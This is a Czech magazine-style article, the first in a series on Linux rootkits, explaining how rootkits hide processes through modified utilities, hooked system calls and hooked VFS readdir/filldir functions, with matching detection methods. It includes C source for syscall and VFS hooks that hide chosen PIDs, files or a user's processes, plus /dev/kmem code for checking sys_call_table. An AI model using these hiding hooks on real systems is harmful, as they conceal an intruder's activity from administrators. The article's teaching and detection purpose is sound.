----------------( Linuxovy rootkit: skrývání procesů )----------------- Tento článek je první díl seriálu o linuxových rootkitech. Každý díl seriálu se bude zabývat různou oblastí činnosti rootkitů. Nemá to však být step-by-step návod, jak napsat rootkit. Jde o popis principů vysvětlovaných na příkladech, a zároveň kladu důraz na vysvětlení metod, jak popisované činnosti rootkitů odhalit, případně jak se napadení bránit. Programátor by po přečtení a pochopení seriálu měl být schopen rootkit napsat, ale může také naopak napsat security program pro kontorolu integrity systému a hledání příznaku napadení. Záleží na každém, jak s informacemi naloží. Proto autor seriálu nenese žádnou odpovědnost za zneužití informací uváděných v tomto, nebo některém z dalších článků. V seriálu předpokládám, že čtenář má základní znalosti UNIX-like systému a programovacího jazyka C, i když C není podmínkou pro pochopení popisovaných principů. #1 Rootkity Protoze čtete první díl seriálu o rootkitech, přijde mi vhodné vysvětlit co to vlastně rootkit je, jaké druhy existují a čím se vyznačují nebo liší, aby čtenář, který o rootkitech doposud neslyšel, nebyl příliš dezorientovaný. #1.1 K čemu jsou dobré? Rootkity používají útočníci (dohodněme se, že místo médii zkaženého slova hacker budeme používat spíše útočník, protože mezi útočníky je opravdových hackerů velmi málo, hackery budeme nazývat ty s poněkud hlubšími znalostmi), kteří získají nejvyšší úroveň oprávnění a nepřejí si, aby si někdo všimnul jejich řádění. Rootkit maskuje veškerou jejich činnost, skrývá procesy, soubory, síťová spojení, poskytuje vzdálený terminál a vůbec výrazně napomáhá k jeho nekalým aktivitám. Často obsahují i tzv. backdoor, zadní vrátka, která v podstatě vytvoří skulinku v zabezpečení serveru, která umožní pozdější návrat do systému nebo přidělení rootovských práv. A to i v případě, že původní bezpečnostní chyba, díky které se na server útočník dostal, byla opravena. #1.2 Stručný přehled Existuje několik odlišných druhů rootkitů. Čím novější, tím sofistikovanější techniky používá. Rootkity postupně přebírají kontrolu na nižší a nižší úrovni. Od kontroly na úrovni systémových programů až po ovládnutí funkcí hluboko uvnitř kernelu. #1.2.1 filesystem based rootkity Nejstarší rootkity jsou pouze sbírkou změněných systémových utilit, pomocných skriptů, které zajistí správné nainstalování rootkitu nebo mazání logů a backdoory pro pozdější pohodlný přístup k serveru. Často nechybí ani sniffer, skener nebo jiné užitečné utilitky. Příkladem takového rootkitu je např. dica nebo lrk5 (Linux rootkit V). #1.2.2 preload rootkity Další krok vede k ovládnutí programu na úrovni sdílenych knihoven. Jsou to tzv. preload rootkity. Jsou založeny na faktu, že každý dynamicky linkovaný program nejdříve přilinkuje knihovnu, která je dána proměnnou prostředí LD_PRELOAD. Takový program pak použije funkce z této knihovny namísto funkcí z libc. Rootkit je tato preload knihovna, ve které jsou upravené funkce používané systémovými programy např. pro zjištění obsahu adresáře. Ješte jednou opakuji, že tento princip využívá toho, že programy dané funkce načítají dynamicky, takže na staticky linkované programy tyto rootkity nemají vliv. Pro zjištění všech symbolů je možno použít program nm: [blackbox ~] % nm -D /bin/ls U _IO_putc 0804f984 R _IO_stdin_used U __assert_fail 08053be8 B __ctype_b U __ctype_get_mb_cur_max U __cxa_atexit w __deregister_frame_info w __dso_handle U __errno_location U __fpending w __gmon_start__ ... U printf U puts U qsort U readdir64 U readlink ... Jak vidíme z neúplneho výpisu, program ls používá funkci readdir64. Takže pokud v preload knihovně bude tato funkce, program použije ji namísto originální. Musím se přiznat, že žádný veřejný preload rootkit neznám, ale jsem si jistý, že v soukromých archivech hackerů se pár exemplářů najde. #1.2.3 rootkity patchující systémová volání Dalším druhem jsou rootkity, které mění systémová volání. Tyto rootkity se vyskytují v různých variantách. Aby se mi lépe vysvětlovaly rozdíly mezi nimi, musím nejdříve alespoň stručně vysvětlit minimum nezbytné teorie, které se podrobněji věnuji v paralelním článku. Linux používá dva prostory s různou úrovní oprávnění. Jsou to tzv. userspace a kernelspace. Programy v userspacu mají právo sahat do paměťi pouze tam, kam jim jádro dovolí, nemají povoleno vykonávat privilegované instrukce a vstupně/výstupní instrukce, takže programy nemohou komunikovat přímo s hardwarem. V userspace běží vše, kromě kernelu. Ten, jak už je všem jasné, běží v kernelspace a má všechna oprávnění. Pokud chce tedy program z userspace např. číst z disku, nemůže to provést přímo. Takže požádá kernel a ten to za něj udělá. Právě k tomu slouží systémová volání. Pokud tedy rootkit změní systémové volání, bude to mít vliv na všechny programy v userspace. V Linuxu existuje něco pres 220 systémovych volání. Ty jsou uloženy v tabulce systémovych volání (sys_call_table). Tato tabulka není nic víc, než pole 256ti ukazatelů na jednotlivá systémová volání (funkce). Nejstarší rootkity této skupiny jsou moduly do jádra (loadable kernel module -- LKM). Tyto moduly při připojení změní adresu v tabulce systémovych volání na adresu vlastní funkce, před odpojením modulu ji vrátí zase zpět. Tento způsob byl pomerně jednoduchý, ale od kernelu 2.5, nemá modul přímo dostupnou adresu tabulky systémovych volání, takže ji musí najít v paměťi sám, ale o tom v paralelním článku. Příkladem je např. Adore, KIS nebo Knark. Mazanější rootkity si zkopírují celou sys_call_table, změny provedou až v ní a potom funkci obsluhujicí přerušení 0x80 (prerušení používáné pro systémová volání) přesvědčí, aby ji používála namísto originální sys_call_table. Programy detekující změny adres v sys_call_table nic nezjistí. Tohle ovšem opět platí pouze pro starší jádra (<= 2.4.x). V poslední době se uplatňují rootkity, které nepoužívají LKM, ale změny provadějí zápisem do /dev/kmem. Fungují z userspace, tudíž nepotřebují podporu LKM v jádře. Příkladem je český SucKIT, který navíc pro změnu systémovych volání používá přístup s vlastní přesměrovanou sys_call_table. #1.2.4 Rootkity patchující jiné funkce kernelu Takovéto rootkity nechávaji systémová volání napokoji, mění funkce na nižší úrovni např. na úrovni virtuálního filesystému (VFS). Tento způsob se nějak zatím masově nevyužívá, neznám žádného dostupného zástupce této skupiny rootkitů, ale archivy hackerů nejspíš utilitky pracující na tomto principu obsahují. Jsou nebezpečné tím, že nejsou dostupné programy pro detekci těchto rootkitů, ale to se pravdepodobně časem změní. #2 Téma článku: skrývání procesů V tomto díle se chci zaměřit na problematiku skrývání procesů v systému Linux 2.6.x (popisované ukázky byly psané pro 2.6.2). Popíši několik způsobu, od těch zastaralejších až po způsoby, které se mohou brzy oběvit v nových rootkitech. Souběžně s tímto dílem najdete v tomto čísle i jakýsi "paralelní" první díl ("Linuxovy rootkit: moduly versus /dev/kmem"), který se zabývá psaním modulů do jádra, popisuje rozdíly mezi moduly pro jádra řady 2.4 a 2.6, vysvětluje způsoby patchování systémových volání a popisuje využití obrazu viruální paměťi (/dev/kmem). Je to doplněk k informacím uváděným v tomoto článku. Metody skrývání, jejichž popis najdete v tomto článku: - pomocí upravených systémovych utilit - pomocí upravených (hooknutých) systémovych volání - pomocí hooknutých funkcí pro práci s VFS #2.1 Filesystem based rootkity #2.1.1 Princip Tyto rootkity obsahují sadu vlastních změněných systémových nástrojů (ls, ps, login, ssh, apod). Nás momentálně zajímá skrývání procesů. Chceme-li zjistit běžící procesy, použijeme příkaz ps. Tudíž není nic snažšího, než si sehnat zdrojové kódy této utilitky a přidat jí pár "featur". Používá se například externí soubor, v němž si "uživatel" této utilitky nadefinuje seznam procesů, které si nepřeje vypisovat. Upravený ps si soubor přečte, uloží si procesy do seznamu, který při vypisování prochází a definované procesy poslušně ignoruje. Změněnou utilitkou je samozřejmě třeba přepsat tu původní. Aby ukrytí bylo úplné, je nutné změnit další programy, které mohou vypisovat běžíci procesy např. "top", "lsof" nebo "w". #2.1.2 Obrana Tento způsob ukrývání je velmi primitivní a už má davno svá nejlepší léta za sebou. Žádný chytrý útočník ho dnes nejspíš používat nebude, jedině v případě, že nemá jinou možnost. Je k dispozici spousta nástrojů, sloužící k odhalení změněných souborů. Nejznámějším je Tripwire. Tripwire kontroluje integritu souborů pomocí kontrolních součtů. Nainstalujete si čistý systém a pomocí Tripwire uložíte kontrolní součty. Pak kdykoli budete mít podezření, že máte v systému nezvaného hosta, necháte Tripwire zkontrolovat kontolní součty a hned máte jasno, zda nahodou některý ze souborů není malinko poupravený. Samozřejmě je velmi jednoduché takový způsob ukrytí procesu (případně souboru a dalších věcí, které rootkit může skryt/měnit) obejít. Stačí použít svoje neupravené utilitky, které máme uloženy někde, kam útočník nemůže, nebo je uložit pod jiným názvem. Rootkity totiž většinou obsahují skript, který zmeněné soubory sám rozmístí po systému, takže neví, že příkaz ps jste si uložili pod názvem např. vypisprocesy. Mezi námi, on to nemůže vědet ani sám útočník. Takže pokud název bude nějaký nenápadný, tak si takového souboru stejně nejspíš nevšimne. Na to se ovšem nesmíme nikdy spoléhat... #2.2 hookování systémovych volání implementované pomocí LKM Patchování systémovych volání je už nějakou dobu jeden z nejpoužívanějších způsobů převzetí kontroly rootkitu nad systémem. Pokud dokáže hacker měnit systémová volání, získává tím možnost, jak se dokonale skrýt. V tomto případě to dělá pomocí modulu do jádra. Takový modul se v okamžiku připojení stane součástí jádra a tudíž má všechna privilegia. Může zapisovat kamkoli do paměťi, může tedy přepsat i samotne jádro. Útočníkovi stačí přepsat pouze některé funkce, respektive struktury jádra. Změna systémového volání se projeví na všech programech, takže použití vlastních "zaručeně čistých" systémovych utilit nám tady už nepomůže. #2.2.1 princip Existuje několik způsobu, jakým se takováto věc dá udělat. Jednodušším způsobem je změnit adresy systémového volání přímo v sys_call_table. Tím malinko složitějším je přesměrovat celou sys_call_table na naší kopii se změněnými adresamy systémovych volání. Tento způsob má výhodu v tom, že jej spousta nástroju pro automatickou kontrolu integrity neodhalí. Takže jak na to? V principu jde o to, že alokujeme v kernelu paměť (tedy paměť přístupnou pouze z kernelspace), do níž uložíme naši funkci. Pak jen v tabulce systémovych volání přepíšeme adresu změněného systémového volání adresou naší funkce. Ta často vykoná nějaký kód a zavolá původní funkci, případně naopak. V případě použití LKM máme situaci značně usnadněnou, protože paměť se alokuje automaticky při vložení modulu do jádra. Nám stačí, aby modul obsahoval naši funkci a při jeho vložení si ze sys_call_table uložil ukazatel na původní funkci a přepsal jej ukazatelem na naší funkci. Při odpojení modulu, se z kernelu odstraní i naše funkce, proto musíme adresu systémového volání dát zase do pořádku. Jinak by záznam v sys_call_table ukazoval na nealokovanou paměť. To by v případě použití takového volání skončilo ošklivou chybou ;) Jak se píše modul do jádra a jak se patchují systémová volání popisuji v paralelním díle. Jaké volání tedy musíme upravit, abychom byli schopni skrýt proces podle našeho výběru? Dělá se to tak, že prostě skryjeme adresář s názvem podle požadovaného PID umístěný v /proc. Ano, dělá se to stejně, jako skrytí jakéhokoli jiného souboru. Vyvstává nám nová otázka. Jak tedy skrýt soubor? Zjistíme si, jaké volání používá program ls: [blackbox ~] % strace -o ls.syscalls ls Toto nam do souboru ls.syscalls uloží dlouhý seznam použitých systémových volání i s jejich parametry v pořadí, v jakém jsou použity. Výpis obsahuje i signály, ale ty nebudeme potřebovat. Pokud nevíte, co které volání znamená, prozradím vám, že pro zjištění obsahu adresáře ls používá systémové volání getdents64. To je tedy ta štastná funkce, kterou malinko upravíme. Tady narážíme na problém s verzemi jádra. Moduly jádra řady 2.6 mají několik odlišností způsobující nekompatibilitu s moduly řady 2.4. Tou nejpodstatnější změnou je absence symbolu sys_call_table. Pro jádra řady 2.6 je tedy situace trochu ztížena. /* PID procesu, který chceme skrýt */ #define HIDDEN_PID "150" /* soubor, který chceme skrýt */ #define HIDDEN_FILE "hidden" long new_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) { int res; int proc = 0; struct linux_dirent64 *dirp, /* ukazatel na aktuální strukturu */ *prev = NULL; /* ukazatel na přechozí strukturu */ struct inode *dinode = NULL; char *ptr; /* zavoláme původní volání */ res = (*o_getdents64)(fd, dirent, count); if (!res) return res; /* ukazatel na začátek pole struktur linux_dirent64 */ ptr = (char *)dirent; /* jsme v /proc filesystému? */ if (dinode != NULL && dinode->i_ino == PROC_ROOT_INO) proc = 1; /* cyklus prochází všechny záznamy */ while (ptr < (char *)dirent + res) { /* ukazatel na aktuální záznam */ dirp = (struct linux_dirent64 *) ptr; /* podmínky pro skrytí souboru/procesu */ if ((proc && !strcmp(dirp->d_name, HIDDEN_PID)) || (!proc && !strcmp(dirp->d_name, HIDDEN_FILE))) { /* sníží návratovou hodnotu o délku aktuálního záznamu */ res -= dirp->d_reclen; /* přepíše aktuální záznam zbytkem pole */ memcpy(ptr, ptr + dirp->d_reclen, (unsigned int)dirent+res - (unsigned int)dirp); continue; } else prev = dirp; /* přejdeme na další strukturu */ ptr += dirp->d_reclen; } return res; } Toto je upravená verze funkce getdents64, způsob, jakým ji zaměníme za originální systémové volání, je už téma paralelního článku. Zde si vysvětlíme, jak funguje. Funkce getdents64 čte obsah adresáře daného deskriptorem fd. Každá položka v adresáři je uložena do struktury linux_dirent64 a tyto struktury jsou uloženy za sebou v paměťi. Funkce nastaví ukazatel dirent na začátek této paměťi (na první strukturu). Poslední parametr count udává velikost této paměťi. Funkce vrací počet přečtených bajtů. Naše úprava spočívá v tom, že zavoláme původní funkci a paměť, kde jsou struktury uloženy, malinko zcenzurujeme. Aby se nám neskrývali adresáře nebo soubory s názvem stejným jako PID schovávaných procesů, kontrolujeme, zda je aktuální adresář /proc. Potom procházíme paměť, na níž ukazuje dirent, po jednotlivých strukturách. Struktura linux_dirent64 vypadá takto: struct linux_dirent64 { __u64 d_ino; /* číslo inodu */ __s64 d_off; /* ofset na další dirent */ unsigned short d_reclen; /* délka aktuálního direntu */ unsigned char d_type; char d_name[256]; /* název souboru (i adresáře, v UNIXu je soubor vše) */ }; Jak vidíme, v cyklu máme pomocí ukazatele dirp přístupnou aktuální strukturu. Jméno souboru tedy můžeme zjistit pomocí dirp->d_name. V ukázkovém kódu kontroluji, zda se soubor jmenuje podle HIDDEN_FILE a přitom se nenachází v /proc a nebo je v /proc a jeho název je shodný s PID procesu, který si definuji jako HIDDEN_PID. V praxi nejspíš bude lepší si napsat funkci, která prochází nějaké seznamy či pravidla pro skrývání. Strukturu z paměťi odstraníme tak, že ji přepíšeme zbytkem paměťi za ní a snížíme výstupní hodnotu (tedy pocet přečtených bajtů) o délku této struktury. Ukazková funkce je doufám natolik čitelná, že popisovat ji podrobně krok po kroku nemá smysl. Měl by stačit tento popis + komentáře ve funkci. Pro jádra řady 2.4 by funkce měla být stejná. #2.2.2 obrana & detekce Nejúčinnější prevence je vypnutí podpory modulů z jádra. Ochráníme se tím však pouze před LKM rootkity. Patchovat systémová volání lze i přímo přes /dev/kmem. Jak ale odhalit již skrytý proces? Máme dva směry, kterými se můžeme ubírat. Můžeme se zaměřit na příčinu (patchnuté systémové volání) nebo důsledek (skrytý proces). Metodám odhalení skrytých procesů věnuji samostatnou kapitolu na konci článku, protože jde o obecný způsob, který by měl odhalit skryté procesy, ať už jsou skryté jakýmkoli způsobem. Jak tedy zjistíme, že si někdo pohrával s naší sys_call_table? Je nutné si udělat zálohu sys_call_table v době, kdy systém zaručeně není zkompromitován. Tedy nejlépe po instalaci, případně před připojením počítače do sítě. Tuto zálohu si schováme tam, kde ji útočník nemůže změnit (ideální je CD shované v zamčené bedně pod postelí;). Při podezření stačí aktuální sys_call_table porovnat s uloženou zálohou a hned víme, co se děje. Máme sice možnost zjistit adresy sys_call_table pomocí LKM, ale kernely řady 2.6 neexportují symbol sys_call_table, takže modul nemůže přímo zjistit její adresu. Proto si raději vysvětlíme obecnější způsob, který funguje v 2.4.x i 2.6.x a navíc k němu nepotřebujeme podporu LKM. Jde o přímé čtení z /dev/kmem. Podrobné vysvětlení funkce přesahuje rozsah tohoto článku, proto jej najdete opět v článku "Linuxovy rootkit: moduly versus /dev/kmem". Zde vám předkládám pouze ukázku, jak zjistit adresy všech systémovych volání z /dev/kmem. Do přečtení paralelního dílu si zdrojový kód můžete prostudovat a popřemýšlet, co která část dělá. V něm si jeho funkci podrobně vysvětlíme. Jak zjistit změny v tabulce systémových volání je už zřejmé. Nejdříve si aktuální sys_call_table uložíme do souboru a při kontrole ji načteme a porovnáme s aktuální. Zjistíme-li, že adresa sys_getdents64 (což je systémové volání číslo 220) neodpovídá, je to docela dobrý důvod předpokládat, že máme na stroji nezvanou návštěvu a pravděpodobne tímto způsobem maskuje svoji činnost. #include #include #include #include /* struktura popisující IDT registr */ struct { unsigned short limit; /* délka IDT == base + limit */ unsigned int base; /* offset IDT */ } __attribute__ ((packed)) idtr; /* struktura popisující deskriptor -- jednu položku v IDT */ typedef struct { unsigned short off1; /* spodní část offsetu */ unsigned short sel; /* segment selektor */ unsigned char none,flags; /* rezervováno, flagy (DPL) */ unsigned short off2; /* horní část offsetu */ } __attribute__ ((packed)) descriptor; ulong get_sct() { ulong offset; ulong sct; char sc_asm[100]; char *p; int kmem; descriptor idt; /* obsah IDT registru uložíme do struktury idtr */ asm ("sidt %0" : "=m" (idtr)); /* otevřeme /dev/kmem */ kmem = open ("/dev/kmem", O_RDONLY); /* načteme deskriptor 0x80 do struktury idt. funkce rkm je naše funkce (není zde uvedena), která dělá pouze to, že nastaví pozici v souboru podle třetího parametru a do paměťi, kam ukazuje 2. parametr načte počet bajtů podle posledního parametru. Prvním parametrem je deskriptor souboru, že kterého budeme číst */ rkm(kmem, &idt, idtr.base + 0x80 * 8, sizeof(idt)); /* zjistíme offset handleru */ offset = (idt.off2 << 16) | idt.off1; /* prečteme prvních 100 bajtů handleru */ rkm(kmem, sc_asm, offset, 100); /* vyhledáme řetězec identifikující volání fce v sys_call_table */ p = (char*)memmem (sc_asm, 100, "\xff\x14\x85", 3); if (p == NULL) { close(kmem); return RES_ERR; } /* adresa sys_call_table je až za hledanými třemi bajty */ sct = *(unsigned*)(p+3); close(kmem); return (ulong)sct; } int main() { ulong sct[256]; int kmem; off_t offset; int i; kmem = open("/dev/kmem", O_RDONLY); /* zjistíme adresu sys_call_table */ offset = get_sct(); printf("sys_call_table address: 0x%x\n", offset); /* prečteme sys_call_table */ rkm(kmem, &sct, offset, sizeof(sct)); close(kmem); /* vypíšeme si adresy jednotlivých systémovych volání... aktuální sys_call_table máme nyní v poli sct, můžeme ji třeba uložit do souboru, nebo ji porovnat s již dříve uloženou a tím zjistit, zda byla změněna */ for (i=0; i<256; i++) printf("syscall #%d: 0x%x\n", i, sct[i]); return 0; } Uvedený princip má také nespornou výhodu v tom, že prověřuje adresy systémových volání v právě používané sys_call_table. Tedy nezáleží na tom, zda rootkit mění adresy volání přímo v sys_call_table nebo ve své kopii. #2.3 hookování funkcí VFS VFS, virtuální filesystém, je vrstva abstrakce, která umožňuje kernelu používat odlišné filesystémy pomocí jednoho rozhraní. Systémová volání pro práci se soubory používají funkce VFS a díky tomu se nemusí starat o to, zda čtou z CD nebo z disku s ext2 či FAT. O rozdíly mezi filesystémy se postará VFS. Je to tedy další vrstva hlouběji v kernelu. Jak se userspace programy spoléhají na systémová volání, tak se systémová volání spoléhají na VFS. #2.3.1 princip & implementace Každý soubor má definovanou množinu operací s tímto souborem. Proc filesystem je sice virtuální (fyzicky se na disku nenachází), ale stejné operace jsou definovány i pro jeho soubory. Informace o každém souboru v /proc jsou uloženy v struktuře proc_dir_entry. Tato struktura obsahuje ukazatel na strukturu s obsahující ukazatele na jednotlivé funkce pro práci se souborem. fstruct file_operations *proc_fops; Tato struktura vypada asi takto: struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); .... To znamená, že pokud čteme obsah adresáře, zavolá se funkce dany_proc_dir_entry.proc_fops->readdir(); Co z toho pro nás vyplývá? Jak už víme, skrýt proces znamená skrýt podadresář v /proc. Takže musíme upravit funkci pro prohlížení kořenového adresáře proc filesystému. V hlavičkovém souboru linux/proc_fs.h můžeme najít proměnnou typu proc_dir_entry s názvem proc_root. Jak už asi tušíte, v této struktuře jsou uloženy informace právě o kořenovém adresáři proc filesystému, tedy o /proc. Takže víme co změnit, ale jaké změny musíme provést? Podíváme se na ukazatel na funkci readdir: int (*readdir) (struct file *, void *, filldir_t); Zajímá nás poslední parametr. filldir_t je definován takto: typedef int (*filldir_t)(void *, const char *, int, loff_t, ino_t, unsigned); Je to ukazatel na funkci, která čte jednotlivé soubory (resp. struktury soubory popisující, data souborů samozřejmě nečte). Tak, teď víme vše potřebné k tomu, abychom dokázali skrýt proces. Změníme ukazatel na funkci readdir v struktuře proc_root. Tato funkce však obsah adresáře nezjišťuje, to dělá funkce filldir, na níž ukazatel je jí předávána jako parametr. My potřebujeme, aby volala naší funkci readdir. /* náš upravený readdir; pouze uloží adresu původní funkce filldir * a spustí původní readdir s adresou naší funkce filldir */ int new_readdir(struct file * filp, void * dirent, filldir_t filldir) { real_filldir = filldir; return o_readdir(filp, dirent, new_filldir); } Takže, jak vidíme, naše readdir dělá pouze to, že si uloží filldir (pro pozdější využití) a zavolá původní readdir s jinou (naší) funkcí filldir. Fajn, takže teď musíme ještě napsat filldir, ale změna je opět triviální. Pouze si zkontrolujeme, zda čtený soubor (jeho název předávaný druhým parametrem) odpovídá PID, který chceme skrýt, a pokud ano, vrátíme 0. Pokud ne, tak provedeme původní filldir. static int new_filldir(void * __buf, const char * name, int namlen, loff_t offset, ino_t ino, unsigned int d_type) { int pid; struct task_struct *task; char buf[256] = {0}; char *ptr = buf; /* pro skrytého uživatele nic skrývat nedbudeme */ if (current->uid != HIDDEN_UID) { /* z jména adresáře si zjistíme PID a uložíme jej do pid */ printk("[%s]\n", buf); snprintf(buf, sizeof(buf), "%s", name); while (*ptr >= '0' && *ptr <= '9') ptr++; *ptr = '\0'; pid = my_atoi(buf); /* projedeme všechny procesy a pokud jeho UID je stejné * jako HIDDEN_UID a proces je reprezentován právě * zpracovávaným adresářem, pak je ignorován */ for_each_process(task) if (task->uid == HIDDEN_UID && task->pid == pid) return 0; } return real_filldir (__buf, name, namlen, offset, ino, d_type); } Tento příklad je ještě trošku vylepšen. Neskrývá totiž jeden zadaný proces podle PID, ale kontroluje všechny procesy a ty se zadaným UID skryje. Skrývá tedy všechny procesy uživatele s UID = HIDDEN_UID. Tento uživatel své procesy vidí, pro ostatní jsou však skryty. Jak těchto operací pro práci se soubory využívají systemová volání? Když se podíváme například na getdents64 zjistíme, že pro načtení souborů používá funkci vfs_readdir a jako druhý parametr jí dává ukazatel na funkci, který je typu filldir_t. A funkce vfs_readdir volá právě funkci, která je definovaná pro daný soubor jako funkce určená pro zjišťování obsahu adresáře. To je právě ta funkce, kterou rootkit popisovaným způsobem může změnit. Ale stejně tak se hacker může rozhodnout, že změní nějakou z ostatních funkcí, které leží mezi syscallem a filldir. Při změně readdir postupujeme podle stejného scénáře jako při hookování systémových volání. Uložit původní funkci, přepsat ukazatel ukazatelem na funkci naší a při odpojení vše vrátit na své místo. Kompletní zdrojový kód najdete na přiloženém CD. #2.3.2 obrana & detekce Opět pokud rootkit používá LKM, pomůže odstranění podpory z kernelu. Detekovat takový rootkit už není tak snadné. Čím hlouběji v kernelu, tím více funkcemi řízení prochází. Rootkit může změnit volání funkce na několika různých místech. Jak jsme si ukázali, syscall volá funkci, která volá další, ta zas další a my si samozřejmě nemůžeme být jisti, kterou z nich si hacker vybral, kde co změnil. Pokud ale budeme předpokládat, že rootkit pracuje popisovaným způsobem, pak je jeho odhalení prosté. Opět stačí popisovaným způsobem zjistit proc_root.proc_fops->readdir s uloženou zálohou. Podmínkou však je, že jsme dříve takovou zálohu udělali. Tyto porovnávací metody jsou sice efektivní, ale vyžaduje to předem myslet na všechny možnosti. Pokud jsme po nainstalování systému adresu readdir nezálohovali, pak už nic nezjistíme. Pokud ano, ale hacker změnil něco jiného, máme opět smůlu. Proto je nejspolehlivější metoda vyhledávání procesů v /dev/kmem, popisovaná dále. Ta ale může být v případě, že nechceme použít LKM, problematická. O tom ale později. #3 obecná metoda odhalení skrytých procesů #3.1 procházení seznamu procesů Pokud se nemůžeme spolehnout na systémové volání getdents, musíme procesy odhalit jinak. Procesy musí být samozřejmě uloženy někde v paměťi, proto je můžeme přímo z ní přečíst. Pokud bychom použili modul, stačí něco v tomto smyslu: ... #include ... int static __init init_module(void) { struct task_struct *ts; for_each_process(ts) printk("<7>PID: %d, name: %s\n", ts->pid, ts->comm); return 0; } To nám vypíše seznam všech procesů včetně těch, které jsou skryté pomocí patchnutého volání getdents64. Jak bychom postupovali, pokud bysme chtěli procesy včetně skrytých vypisovat z userspace? Použijeme /dev/kmem. Jak však zjistíme, z jaké adresy číst? Procesy nejsou uloženy za sebou, navíc každý může být jinak dlouhý. Naštěstí je adresa prvního procesu pevně dána. První proces je swapper s PID 0. V System.map mu odpovídá symbol init_task. V podstatě by nám stačila adresa libovolného procesu. Jsou totiž uloženy v kruhovém seznamu, takže z každého procesu se můžeme postupně dostat na kterýkoli jiný. Takže si například ze System.map (je např. v /usr/src/linux-2.6.2/System.map) zjistíme adresu inittask: [blackbox ~] % grep init_task /usr/src/linux-2.6.2/System.map ... c0414340 D init_task Vidíme tedy, že init_task je na adrese c0414340. Co je vlastně na této adrese uloženo? Je tam struktura popisující daný proces -- task_struct. Zkráceně vypadá nějak takto (najdeme ji v /usr/include/linux/sched.h): struct task_struct { volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ struct thread_info *thread_info; atomic_t usage; unsigned long flags; /* per process flags, defined below */ unsigned long ptrace; int lock_depth; /* Lock depth */ int prio, static_prio; struct list_head run_list; prio_array_t *array; ... struct list_head tasks; ... pid_t pid; /* <--- ID procesu */ pid_t __pgrp; pid_t tty_old_pgrp; pid_t session; pid_t tgid; ... /* informace o uživateli a skupině, v níž proces běží */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; int ngroups; gid_t groups[NGROUPS]; ... int keep_capabilities:1; struct user_struct *user; /* limits */ struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; /* <--- název procesu */ /* file system info */ int link_count, total_link_count; ... Prvků obsahuje struktura požehnaně. Například v poli comm je uložen název procesu, pid, gid, uid jsou samovysvětlující a pomocí struktury tasks se můžeme dostat na další/přechozí proces. Toho využijeme při výpisu procesů. Najdeme si první proces a z něj přecházíme na další tak dlouho, dokud nenarazíme opět na první proces. Dejme tomu, že informace o aktuálním procesu máme uloženy ve struktuře pojmenované ts, pak na další proces ukazuje ts->tasks.next. Když se podíváme do hlavičkového souboru linux/sched.h, zjistíme, že právě takhle funguje makro for_each_process, použité v předchozím příkladě. Kompilátor však většinou nespolkne v userspace programu #include . Proto si strukturu musíme nějak nahradit. A to tak, aby požadované prvky měly ve struktuře správný offset (umístění). Pokud je ale někde task_struct jiná, budou offsety nesprávné a tudíž náš nástroj nebude fungovat. Problém je, že task_struct na různých kernelech často jiná bude. Například na mojem Slackwaru s jádrem 2.4.20 jsem si takový program napsal a fungoval správně. Pokud jsem ho ale spustil na RedHatu s podobným jádrem, tak vůbec nefungoval. Pak jsem zjistil, že task_struct je jiná. U jader 2.6 je také jiná než v 2.4. Prostě tohle řešení může být sice spolehlivé, ale přenositelnost na jiné systémy je problematická. Proto nebudu ani uvádět konkrétní implementaci. #3.2 patternové prohledávání /dev/kmem Rootkit ale může proces ze seznamu vypojit. Potom přechozí metoda nepomůže. Ale proces bezpodmínečně musí být stále v paměťi. Takže pokud prohledáme celou paměť, najdeme všechny procesy. Princip je ukázán v paralelním článku na hledání modulů. Procesy můžeme hledat stejně, ale jak jsem psal o kousíček výše, opět můžeme narazit na problémy s měnící se strukturou task_struct. Proto tuhle techniku ani dál rozebírat nebudu. Princim je doufám jasný (po přečtení paralelního článku) a s implementací si už může pohrát každý sám. Příklad implementace této techniky najdete v rámečku s odkazy [2], který najdete pravěpodobně u paralelního článku. Je to právě verze, která fungovala na mém Slackwaru. Tato technika nepoužívá volání getdents64, nespoléhá na VFS ani na správné pospojování procesů v seznamu, takže obejde snad všechny známé finty používané na skrývání procesů. #4 Závěr Zde uvádím tabulku se shrnutím vlastností jednotlivých typů rootkitů. Obtížností se myslí složitost napsání takového rootkitu, detekovatelnost reprezentuje možnost a obtížnost ochrany a odhalení, poslední sloupec shrnuje celkovou nebezpečnost. První typ je nejstarší, takže je k dispozici spousta nástrojů pro ochranu systému před těmito rootkity. Obtížnost je ve skutečnosti možná vyšší, než uvádí tabulka. To proto, že aby se útočník spolehlivě skryl, musí patchnout spoustu programů. Jenom na skrytí procesů potřebuje patchnout ls, top, lsof a to jsem mohl na něco zapomenout. Detekovatelnost je vysoká, obejít takový rootkit je také triviální, takže celkovou nebezpečnost bych viděl na 2 z 6. Preload rootkity se sice snadno obcházejí, ale jejich nebezpečnost je poměrně vysoká a to hlavně kvůli jejich malé rozšířenosti, takže ne moc detekčních nástrojů s nimi počítá (jestli vůbec nějaké). Čili ani detekovatelnost není tak vysoká, jak by mohla být. Hookování systémových volání znamená již změny v kernelu a tam musí být člověk opatrný, hlavně když mění volání, na která spoléhá celý systém (např read, write, open). Malá chybička a systém se okamžitě zhroutí. A to v tom lepším případě, ale například při opravdu nešikovně patchnutém write můžete zařídit přepsání životně důležitých dat! Tento přístup sice umožňuje dokonalé ukrytí, ale na druhou stranu existuje spousta důmyslných detekčních nástrojů. Celkově jsou tyto rootkity velmi nebezpečné hlavně kvůli tomu, že relativně snadno dokáží převzít kontrolu nad systémem už na úrovni samotného jádra. A poslední typ je v dnešní době extrémně nebezpečný. Je to díky chabým možnostem detekce zapříčiněným nedostatkem nástrojů a v neposlední řadě možnostmi, které autor rootkitu má. Na druhou stranu jistou útěchou může být to, že není dostupná hromada tutoriálů popisující implementaci těchto rootkitů, jako například u předchozích. 